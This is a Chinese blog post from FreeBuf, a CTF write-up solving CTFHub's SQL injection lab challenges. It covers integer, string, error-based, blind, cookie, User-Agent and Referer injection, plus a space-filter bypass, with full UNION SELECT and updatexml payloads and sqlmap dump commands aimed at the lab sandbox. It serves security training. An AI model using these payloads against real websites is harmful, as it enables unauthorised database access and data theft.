freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ctfhub_web_SQL注入_全通关详解(持续更新中)
2021-11-16 22:38:52

前言

1636964763_6192199b0fb30b9eb06ad.png!small?1636964767358

1.什么是SQL注入

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

2.总体攻击思路

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

Let's get it.

整数型注入

进入环境:这个靶场还是蛮简单的,直接说整数型了

1636963289_619213d92039d2775e530.png!small?1636963290967

测试一下果然是整数型(回显正常的话会出ID)

那就构造payload吧

测试列数:order by

1636963439_6192146faaa27ee502428.png!small?1636963441507

order by 2时回显正常,说明列数是2

测试注入点:?id=-1%20union%20select%201,2%20--+

注意:要将1变成-1,否则前面不报错后面就不回显了

1636963744_619215a051b4782f0f833.png!small?1636963746181

发现注入点~~

之后就是常规payload了

1.查看数据库版本和数据库

?id=-1%20union%20select%20version(),database()%20--+

1636964019_619216b3d5c9485793332.png!small?1636964021702

高版本才可以使用information_schema哟~~

2.爆表

?id=-1%20union%20select%20database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20"sqli"%20--+

1636964168_6192174806d4344e9b9d3.png!small?1636964169855

发现两个表,flag,news

3.爆列名

?id=-1%20union%20select%20database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%22flag%22%20--+

(对比上一条语句有轻微改动,大家自己学习呦~)

1636964370_61921812a49323f442a66.png!small?1636964372557

发现flag列

4.爆字段

?id=-1%20union%20select%20database(),group_concat(flag)%20from%20sqli.flag--+

语句解释:group_concat(列名) from 数据库名.表名

1636964578_619218e282d230aa94b9c.png!small?1636964580447

搞定~

字符型注入

进入环境,再用老方法测试一下先,当个习惯嘛

1636964835_619219e3a901576e7f3d1.png!small?1636964837537

1636964905_61921a29ad255d53d9c04.png!small?1636964907494

输入1=2也回显正常,输入1‘报错,果然是字符型

1.第一关已经了解数据库版本,数据库sqli,列数,以及注入点,之后就不再重复做功了~~

2.爆表名

?id=-1%27%20union%20select%20database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20"sqli"--+

(同样是注意将1换成-1哦)

1636965316_61921bc41b9a9f0fdcea5.png!small?1636965317963

依然是熟悉的flag,news

3.爆列名

?id=-1%27%20union%20select%20database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20"flag"--+

1636965487_61921c6f3dfd7b15597c9.png!small?1636965489082

flag列

4.爆字段

?id=-1%27%20union%20select%20database(),group_concat(flag)%20from%20sqli.flag--+

语句讲解上面都有

1636965709_61921d4d9d4f3aab2ead1.png!small?1636965711529

搞定~

报错注入

思路分析

报错注入我常用到的函数是updatexml()与extractvalue(),二者都可以将我们需要的信息通过报错返回到回显,只有一个参数的差别

开搞

*需要注意的一个点:我们要根据sql语句的不同情况来构造不同payload,这也是SQL注入核心点,一定要灵活

1637068528_6193aef090895063fbe73.png!small?1637068531749

我们可以看到本题SQL语句很明显只需要直接拼接语句即可而不能照搬网上的payload:

'or updatexml(1,concat(0x7e,database()),2) or'

本题根本不用'or,一定要灵活~~

那我们就顺带说一下两种函数payload区别:

(用一下我以前的笔记)

1637068765_6193afddb19c4f16a6283.png!small?1637068768882

好,我们开整~

其实了解上面这些思路就很简单了,接下来我们用updatexml()构造payload

1.暴库

?id=1%20and%20updatexml(1,(concat(1,database())),2)

1637068906_6193b06a35bd6ca03f5ec.png!small?1637068909371

2.爆表

?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27sqli%27))),2)

1637069079_6193b11733f3c29e22ea3.png!small?1637069082454

3.爆列

?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27flag%27))),2)

1637069154_6193b16248aaa248a97e6.png!small?1637069157545

4.爆字段

?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),2)

1637069259_6193b1cb00f47fba4f50e.png!small?1637069262236

布尔盲注

进入环境,发现只有回显query_success以及query_false,,布尔盲注

手工测试思路

length()测试数据库,表,列的长度;

ascii(substr())测试具体内容;

但是真正做出来有点费事

借用工具

先做的时间盲注,步骤和那个差不多,大家自己试试哦

1637067914_6193ac8a74080801d0710.png!small?1637067917658

最终也是OK啦

时间盲注

进入环境,不管输入什么都丝毫没有回显,,,

1637066478_6193a6ee420ab53addf35.png!small?1637066481457

基于时间的盲注可以利用if()和sleep()手工测试,可是按照一直以来的flag格式

利用ascii(substr())慢慢爆破,要用到48~126号,,了解思想就好

利用工具

我们可以写脚本,将url与sql语句写进去交给脚本就好;

方法二就是sqlmap了,这个工具大家先了解一下:

戳这里

然后我们构造payload借力啦~~~

爆库:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" --dbs --batch

1637066866_6193a872664ffc94b70b5.png!small?1637066869540

爆表:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

1637066930_6193a8b2a918310229e09.png!small?1637066933887

爆列:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --batch

1637066958_6193a8ce474a37760604a.png!small?1637066961417

爆字段:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch

1637067012_6193a90466b0b86f74a41.png!small?1637067015674

MySql结构

进入环境,随便测试下

1637069372_6193b23c06dcc2b468a57.png!small?1637069375212

额,,,,这,,,整数型

爆个表,,

?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27sqli%27%20--+

1637069589_6193b315265b4e84621c1.png!small?1637069592347

表名字变了

爆列

?id=-1%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27ehfivfvbvt%27%20--+

1637069680_6193b3702350380128281.png!small?1637069683406

列名变了,,

爆 字 段

?id=-1%20union%20select%201,group_concat(zgdjmrqpzm)%20from%20sqli.ehfivfvbvt--+

1637069818_6193b3faca8b7a6d1f083.png!small?1637069822033

搞定,,才疏学浅,不知道题者要表达什么,,

cookie注入

进入环境·,既然找cookie,抓个包先

1637070174_6193b55e25e1baba96a77.png!small?1637070177343

在cookie处进行测试,整数型~~

接下来步骤就不多说了,,

全都是常规注入手段只不过在cookie处操作

表:lbzsnsyukr

列:mzyfxrsvce

1637070463_6193b67feb4415b28413b.png!small?1637070467244

搞定,,

UA注入

和上面如出一辙,UA处整数型,不具体写了

表:xyjzswdmyg

列:nidcpwxhkd

1637071216_6193b970595114d860c03.png!small?1637071219613

搞定,,

Refer注入

这次抓包后没有显示Referer,那就根据题自己加一行

1637071456_6193ba603d897c8fbce5e.png!small?1637071459637

测试,还是整数型~

那也就不详细写payload了

表:aqxkbuevuf

列:skfeperzbv

1637071680_6193bb40461cbb0e48ed6.png!small?1637071683564

搞定,,

过滤空格

思路

查看了许多方法,url中可以用/**/代替空格

开搞

测试后发现是整数型注入

爆表

?id=-1/**/union/**/select/**/database(),group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/%27sqli%27

类似于这样~

1637072851_6193bfd3790f90159e9e5.png!small?1637072854667

之后就不细写了

1637073005_6193c06d1b9e006148c74.png!small?1637073008306

搞定~

就当多个常识:

/**/代替空格

总结

好,到现在,ctfhub部分SQL注入就暂时全部完成了

1637073111_6193c0d7190cf0120d58e.png!small?1637073114317

相比起其他靶场来说这个总体感觉还是简单些,但是新手拿来练手还是十分足够的

重点是学习闭合思路!

# 渗透测试 # web安全 # 漏洞分析 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录